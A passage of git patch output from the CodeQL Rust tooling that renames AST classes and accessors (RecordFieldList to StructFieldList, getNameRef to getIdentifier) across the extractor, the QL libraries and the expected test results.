gen_path_type_repr.rs:5:14:5:16 | std | gen_path_type_repr.rs:5:14:5:16 | std | -| gen_path_type_repr.rs:5:14:5:29 | ...::collections | gen_path_type_repr.rs:5:19:5:29 | collections | -| gen_path_type_repr.rs:5:14:5:48 | ...::HashMap::<...> | gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | -| gen_path_type_repr.rs:5:40:5:42 | i32 | gen_path_type_repr.rs:5:40:5:42 | i32 | -| gen_path_type_repr.rs:5:45:5:47 | i32 | gen_path_type_repr.rs:5:45:5:47 | i32 | -| gen_path_type_repr.rs:6:14:6:14 | X | gen_path_type_repr.rs:6:14:6:14 | X | -| gen_path_type_repr.rs:6:14:6:20 | ...::Item | gen_path_type_repr.rs:6:17:6:20 | Item | diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.ql similarity index 83% rename from rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql rename to rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.ql index 6fdb617e311..62725f6189b 100644 --- a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.ql @@ -2,7 +2,7 @@ import codeql.rust.elements import TestUtils -from RecordFieldList x, int getNumberOfFields +from StructFieldList x, int getNumberOfFields where toBeTested(x) and not x.isUnknown() and diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql similarity index 82% rename from rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql rename to rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql index 8a20f3de13f..f1c7d0b58dc 100644 --- a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql @@ -2,6 +2,6 @@ import codeql.rust.elements import TestUtils -from RecordFieldList x, int index +from StructFieldList x, int index where toBeTested(x) and not x.isUnknown() select x, index, x.getField(index) diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/gen_record_field_list.rs b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs similarity index 75% rename from rust/ql/test/extractor-tests/generated/RecordFieldList/gen_record_field_list.rs rename to rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs index 7e12ad879b2..bdec77ecaae 100644 --- a/rust/ql/test/extractor-tests/generated/RecordFieldList/gen_record_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs @@ -1,6 +1,6 @@ // generated by codegen, do not edit -fn test_record_field_list() -> () { +fn test_struct_field_list() -> () { // A field list of a struct expression. For example: todo!() } diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 56c9fc34b1b..a5c3ff56651 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1489,7 +1489,7 @@ class _: """ -@annotate(RecordFieldList) +@annotate(StructFieldList) class _: """ A field list of a struct expression. For example: @@ -1627,6 +1627,7 @@ class _: todo!() ``` """ + field_list: _ | ql.db_table_name("struct_field_lists_") @annotate(TokenTree) diff --git a/rust/schema/ast.py b/rust/schema/ast.py index 1f73ccf90f6..e5be9e1a0a0 100644 --- a/rust/schema/ast.py +++ b/rust/schema/ast.py @@ -543,7 +543,7 @@ class StructField(AstNode, ): type_repr: optional["TypeRepr"] | child visibility: optional["Visibility"] | child -class RecordFieldList(FieldList, ): +class StructFieldList(FieldList, ): fields: list["StructField"] | child class StructPat(Pat, ): @@ -716,7 +716,7 @@ class Union(Item, VariantDef, ): attrs: list["Attr"] | child generic_param_list: optional["GenericParamList"] | child name: optional["Name"] | child - struct_field_list: optional["RecordFieldList"] | child + struct_field_list: optional["StructFieldList"] | child visibility: optional["Visibility"] | child where_clause: optional["WhereClause"] | child From 32f6acb9854001ad8a3bc34d4709521b69c1dd63 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 15:29:20 +0100 Subject: [PATCH 154/282] Rust: fix compilation errors after rename --- rust/extractor/src/crate_graph.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index f0c03721574..bc0389e8ce5 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -1253,11 +1253,11 @@ fn emit_hir_ty( enum Variant { Unit, - Record(trap::Label), + Record(trap::Label), Tuple(trap::Label), } -impl From for Option> { +impl From for Option> { fn from(val: Variant) -> Self { match val { Variant::Record(label) => Some(label), @@ -1309,7 +1309,7 @@ fn emit_variant_data(trap: &mut TrapFile, db: &dyn HirDatabase, variant_id: Vari }) }) .collect(); - Variant::Record(trap.emit(generated::RecordFieldList { + Variant::Record(trap.emit(generated::StructFieldList { id: trap::TrapId::Star, fields, })) From 394f3eb1be4cec9f563908fe39e933f87137771d Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 16:18:33 +0100 Subject: [PATCH 155/282] Rust: fix ast generator handling renamed enum variants --- rust/ast-generator/src/main.rs | 12 +++++++++--- rust/ast-generator/src/templates/extractor.mustache | 2 +- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 86c2859ee96..8b8d7f5c593 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -432,6 +432,7 @@ fn get_fields(node: &AstNodeSrc) -> Vec { struct EnumVariantInfo { name: String, snake_case_name: String, + variant_ast_name: String, } #[derive(Serialize)] @@ -480,9 +481,14 @@ fn enum_to_extractor_info(node: &AstEnumSrc) -> Option { variants: node .variants .iter() - .map(|v| EnumVariantInfo { - name: v.clone(), - snake_case_name: to_lower_snake_case(v), + .map(|v| { + let name = class_name(v); + let snake_case_name = to_lower_snake_case(v); + EnumVariantInfo { + name, + snake_case_name, + variant_ast_name: v.clone(), + } }) .collect(), }) diff --git a/rust/ast-generator/src/templates/extractor.mustache b/rust/ast-generator/src/templates/extractor.mustache index 0532bb32ff7..c83881027bb 100644 --- a/rust/ast-generator/src/templates/extractor.mustache +++ b/rust/ast-generator/src/templates/extractor.mustache @@ -25,7 +25,7 @@ impl Translator<'_> { pub(crate) fn emit_{{snake_case_name}}(&mut self, node: ast::{{ast_name}}) -> Option> { match node { {{#variants}} - ast::{{ast_name}}::{{name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into), + ast::{{ast_name}}::{{variant_ast_name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into), {{/variants}} } } From ece2f03f0f04a56d4cd21495f754ebea33d80a47 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 16:20:08 +0100 Subject: [PATCH 156/282] Rust: fix QL compilation errors after renames --- .../rust/controlflow/internal/ControlFlowGraphImpl.qll | 2 +- rust/ql/lib/codeql/rust/dataflow/internal/Content.qll | 4 ++-- .../ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll | 4 ++-- .../lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll | 2 +- rust/ql/lib/codeql/rust/dataflow/internal/Node.qll | 2 +- .../lib/codeql/rust/elements/internal/FieldExprImpl.qll | 4 ++-- .../codeql/rust/elements/internal/MethodCallExprImpl.qll | 2 +- rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll | 4 ++-- .../lib/codeql/rust/elements/internal/PathSegmentImpl.qll | 2 +- .../codeql/rust/elements/internal/StructExprFieldImpl.qll | 8 ++++---- rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll | 2 +- .../codeql/rust/elements/internal/StructPatFieldImpl.qll | 8 ++++---- rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll | 2 +- .../lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll | 2 +- rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll | 2 +- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 4 ++-- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 8 ++++---- .../rust/security/regex/RegexInjectionExtensions.qll | 2 +- 18 files changed, 32 insertions(+), 32 deletions(-) diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 2e954586085..900580914e2 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -329,7 +329,7 @@ module ExprTrees { } class FieldExprTree extends StandardPostOrderTree instanceof FieldExpr { - override AstNode getChildNode(int i) { i = 0 and result = super.getExpr() } + override AstNode getChildNode(int i) { i = 0 and result = super.getContainer() } } class IfExprTree extends PostOrderTree instanceof IfExpr { diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll index 97e2edccf9c..ccdf8c763ca 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll @@ -150,7 +150,7 @@ final class TuplePositionContent extends FieldContent, TTuplePositionContent { override FieldExprCfgNode getAnAccess() { // TODO: limit to tuple types - result.getNameRef().getText().toInt() = pos + result.getIdentifier().getText().toInt() = pos } override string toString() { result = "tuple." + pos.toString() } @@ -262,7 +262,7 @@ newtype TContent = TTuplePositionContent(int pos) { pos in [0 .. max([ any(TuplePat pat).getNumberOfFields(), - any(FieldExpr access).getNameRef().getText().toInt() + any(FieldExpr access).getIdentifier().getText().toInt() ] )] } or diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index f0f25d41264..60aa10016be 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -688,7 +688,7 @@ module RustDataFlow implements InputSig { node1.asPat().(RefPatCfgNode).getPat() = node2.asPat() or exists(FieldExprCfgNode access | - node1.asExpr() = access.getExpr() and + node1.asExpr() = access.getContainer() and node2.asExpr() = access and access = c.(FieldContent).getAnAccess() ) @@ -771,7 +771,7 @@ module RustDataFlow implements InputSig { exists(AssignmentExprCfgNode assignment, FieldExprCfgNode access | assignment.getLhs() = access and node1.asExpr() = assignment.getRhs() and - node2.asExpr() = access.getExpr() and + node2.asExpr() = access.getContainer() and access = c.getAnAccess() ) } diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll index 7b169fb4bbf..e1cf87397b9 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll @@ -47,7 +47,7 @@ module Input implements InputSig { private class MethodCallExprNameRef extends SourceBase, SinkBase { private MethodCallExpr call; - MethodCallExprNameRef() { this = call.getNameRef() } + MethodCallExprNameRef() { this = call.getIdentifier() } override MethodCallExpr getCall() { result = call } } diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll b/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll index 108d22abc34..67782f0b7e0 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll @@ -464,7 +464,7 @@ newtype TNode = e = [ any(IndexExprCfgNode i).getBase(), // - any(FieldExprCfgNode access).getExpr(), // + any(FieldExprCfgNode access).getContainer(), // any(TryExprCfgNode try).getExpr(), // any(PrefixExprCfgNode pe | pe.getOperatorName() = "*").getExpr(), // any(AwaitExprCfgNode a).getExpr(), any(MethodCallExprCfgNode mc).getReceiver(), // diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll index d7e2380cb77..2c037aa475a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll @@ -30,8 +30,8 @@ module Impl { override string toStringImpl() { exists(string abbr, string name | - abbr = this.getExpr().toAbbreviatedString() and - name = this.getNameRef().getText() and + abbr = this.getContainer().toAbbreviatedString() and + name = this.getIdentifier().getText() and if abbr = "..." then result = "... ." + name else result = abbr + "." + name ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index 5493c9374f2..30106d67d1a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -46,7 +46,7 @@ module Impl { exists(string base, string separator | base = this.getReceiver().toAbbreviatedString() and (if base = "..." then separator = " ." else separator = ".") and - result = base + separator + this.getNameRef().toStringImpl() + "(...)" + result = base + separator + this.getIdentifier().toStringImpl() + "(...)" ) } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll index 0ff11175b2c..92c6f25fbeb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll @@ -39,7 +39,7 @@ module Impl { * Gets the text of this path, if it exists. */ pragma[nomagic] - string getText() { result = this.getSegment().getNameRef().getText() } + string getText() { result = this.getSegment().getIdentifier().getText() } } /** A simple identifier path. */ @@ -54,7 +54,7 @@ module Impl { not ps.hasParenthesizedArgList() and not ps.hasTypeRepr() and not ps.hasReturnTypeSyntax() and - name = ps.getNameRef().getText() + name = ps.getIdentifier().getText() ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll index d13b42ee914..84cb37fcf61 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll @@ -24,7 +24,7 @@ module Impl { private string toAbbreviatedStringPart(int index) { index = 0 and - if this.hasTypeRepr() then result = "<...>" else result = this.getNameRef().getText() + if this.hasTypeRepr() then result = "<...>" else result = this.getIdentifier().getText() or index = 1 and result = this.getGenericArgList().toAbbreviatedString() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll index 4d559594454..219ec301c85 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll @@ -25,9 +25,9 @@ module Impl { override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) } private string toStringPart(int index) { - index = 0 and result = this.getNameRef().getText() + index = 0 and result = this.getIdentifier().getText() or - index = 1 and this.hasNameRef() and result = ": " + index = 1 and this.hasIdentifier() and result = ": " or index = 2 and result = this.getExpr().toAbbreviatedString() @@ -44,9 +44,9 @@ module Impl { * ``` */ string getFieldName() { - result = this.getNameRef().getText() + result = this.getIdentifier().getText() or - not this.hasNameRef() and + not this.hasIdentifier() and result = this.getExpr().(PathExpr).getPath().(PathImpl::IdentPath).getName() } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 1693f1b989b..9f8888d3b6e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -25,7 +25,7 @@ module Impl { /** Gets the record field named `name`, if any. */ pragma[nomagic] StructField getStructField(string name) { - result = this.getFieldList().(RecordFieldList).getAField() and + result = this.getFieldList().(StructFieldList).getAField() and result.getName().getText() = name } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll index 995188e9452..d569c4a0016 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll @@ -24,9 +24,9 @@ module Impl { override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) } private string toStringPart(int index) { - index = 0 and result = this.getNameRef().getText() + index = 0 and result = this.getIdentifier().getText() or - index = 1 and this.hasNameRef() and result = ": " + index = 1 and this.hasIdentifier() and result = ": " or index = 2 and result = this.getPat().toAbbreviatedString() @@ -43,9 +43,9 @@ module Impl { * ``` */ string getFieldName() { - result = this.getNameRef().getText() + result = this.getIdentifier().getText() or - not this.hasNameRef() and + not this.hasIdentifier() and result = this.getPat().(IdentPat).getName().getText() } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll index ad46ee68848..8af1d05edba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll @@ -25,7 +25,7 @@ module Impl { /** Gets the record field named `name`, if any. */ pragma[nomagic] StructField getStructField(string name) { - result = this.getFieldList().(RecordFieldList).getAField() and + result = this.getFieldList().(StructFieldList).getAField() and result.getName().getText() = name } diff --git a/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll b/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll index c043cbf6033..70b92a3f7ea 100644 --- a/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll +++ b/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll @@ -39,7 +39,7 @@ class StreamCipherInit extends Cryptography::CryptographicOperation::Range { .(PathTypeRepr) .getPath() .getSegment() - .getNameRef() + .getIdentifier() .getText() ) and algorithmName = simplifyAlgorithmName(rawAlgorithmName) diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll index 456da7bdde0..0798343837e 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll @@ -9,7 +9,7 @@ final class CloneCallable extends SummarizedCallable::Range { // NOTE: The function target may not exist in the database, so we base this // on method calls. exists(MethodCallExpr c | - c.getNameRef().getText() = "clone" and + c.getIdentifier().getText() = "clone" and c.getArgList().getNumberOfArgs() = 0 and this = c.getResolvedCrateOrigin() + "::_::" + c.getResolvedPath() ) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index bd98bf6ec03..74a07ab890e 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -312,7 +312,7 @@ private class VariantItemNode extends ItemNode instanceof Variant { override string getName() { result = Variant.super.getName().getText() } override Namespace getNamespace() { - if super.getFieldList() instanceof RecordFieldList then result.isType() else result.isValue() + if super.getFieldList() instanceof StructFieldList then result.isType() else result.isValue() } override TypeParam getTypeParam(int i) { @@ -471,7 +471,7 @@ private class StructItemNode extends ItemNode instanceof Struct { override Namespace getNamespace() { result.isType() // the struct itself or - not super.getFieldList() instanceof RecordFieldList and + not super.getFieldList() instanceof StructFieldList and result.isValue() // the constructor } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 1e468edc5a7..5c59cee8a17 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -764,7 +764,7 @@ private module FieldExprMatchingInput implements MatchingInputSig { Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { none() } AstNode getNodeAt(AccessPosition apos) { - result = this.getExpr() and + result = this.getContainer() and apos.isSelf() or result = this and @@ -903,7 +903,7 @@ private module Cached { pragma[nomagic] private Type getMethodCallExprLookupType(MethodCallExpr mce, string name) { result = getLookupType(mce.getReceiver()) and - name = mce.getNameRef().getText() + name = mce.getIdentifier().getText() } /** @@ -916,8 +916,8 @@ private module Cached { pragma[nomagic] private Type getFieldExprLookupType(FieldExpr fe, string name) { - result = getLookupType(fe.getExpr()) and - name = fe.getNameRef().getText() + result = getLookupType(fe.getContainer()) and + name = fe.getIdentifier().getText() } /** diff --git a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll index ec0dfa56e1d..f1e4060a5cf 100644 --- a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll @@ -64,7 +64,7 @@ private class RegexInjectionDefaultBarrier extends RegexInjectionBarrier { .(PathExpr) .getPath() .getSegment() - .getNameRef() + .getIdentifier() .getText() = "escape" } } From 80707678b6bebb7814277b5b870b0e8bd69bb5e7 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 16:20:44 +0100 Subject: [PATCH 157/282] Rust: accept test changes --- .../AssocTypeArg_getIdentifier.expected | 0 .../ExternCrate_getIdentifier.expected | 0 .../generated/FieldExpr/FieldExpr.expected | 2 +- .../FieldExpr/FieldExpr_getContainer.expected | 1 + .../FieldExpr_getIdentifier.expected | 1 + .../MethodCallExpr/MethodCallExpr.expected | 4 +- .../MethodCallExpr_getIdentifier.expected | 2 + .../generated/Path/PathSegment.expected | 50 +++++++++---------- .../Path/PathSegment_getIdentifier.expected | 23 +++++++++ .../StructExprField/StructExprField.expected | 4 +- .../StructExprField_getIdentifier.expected | 2 + .../StructField_getDefault.expected | 0 .../StructPatField/StructPatField.expected | 4 +- .../StructPatField_getIdentifier.expected | 2 + .../Variant/Variant_getDiscriminant.expected | 0 .../ql/test/extractor-tests/utf8/ast.expected | 2 +- 16 files changed, 64 insertions(+), 33 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.expected create mode 100644 rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.expected create mode 100644 rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.expected diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected index c25a0633e40..9bb0e244fd1 100644 --- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected +++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected @@ -1 +1 @@ -| gen_field_expr.rs:5:5:5:9 | x.foo | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes | +| gen_field_expr.rs:5:5:5:9 | x.foo | getNumberOfAttrs: | 0 | hasContainer: | yes | hasIdentifier: | yes | diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.expected new file mode 100644 index 00000000000..7d21f7f7af8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.expected @@ -0,0 +1 @@ +| gen_field_expr.rs:5:5:5:9 | x.foo | gen_field_expr.rs:5:5:5:5 | x | diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.expected new file mode 100644 index 00000000000..0722ca1aaf2 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.expected @@ -0,0 +1 @@ +| gen_field_expr.rs:5:5:5:9 | x.foo | gen_field_expr.rs:5:7:5:9 | foo | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected index 2922152a234..5862cd94081 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected @@ -1,2 +1,2 @@ -| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasNameRef: | yes | hasReceiver: | yes | -| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasNameRef: | yes | hasReceiver: | yes | +| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasReceiver: | yes | +| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasIdentifier: | yes | hasReceiver: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.expected new file mode 100644 index 00000000000..9f20d2b07dd --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.expected @@ -0,0 +1,2 @@ +| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | gen_method_call_expr.rs:5:7:5:9 | foo | +| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | gen_method_call_expr.rs:6:7:6:9 | foo | diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected index 2eb550aad66..a37dd8cbd96 100644 --- a/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected +++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected @@ -1,25 +1,25 @@ -| gen_path.rs:5:9:5:18 | some_crate | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path.rs:5:21:5:31 | some_module | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path.rs:5:34:5:42 | some_item | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path.rs:6:5:6:7 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path.rs:6:10:6:12 | bar | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:5:13:5:20 | variable | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:6:13:6:15 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | 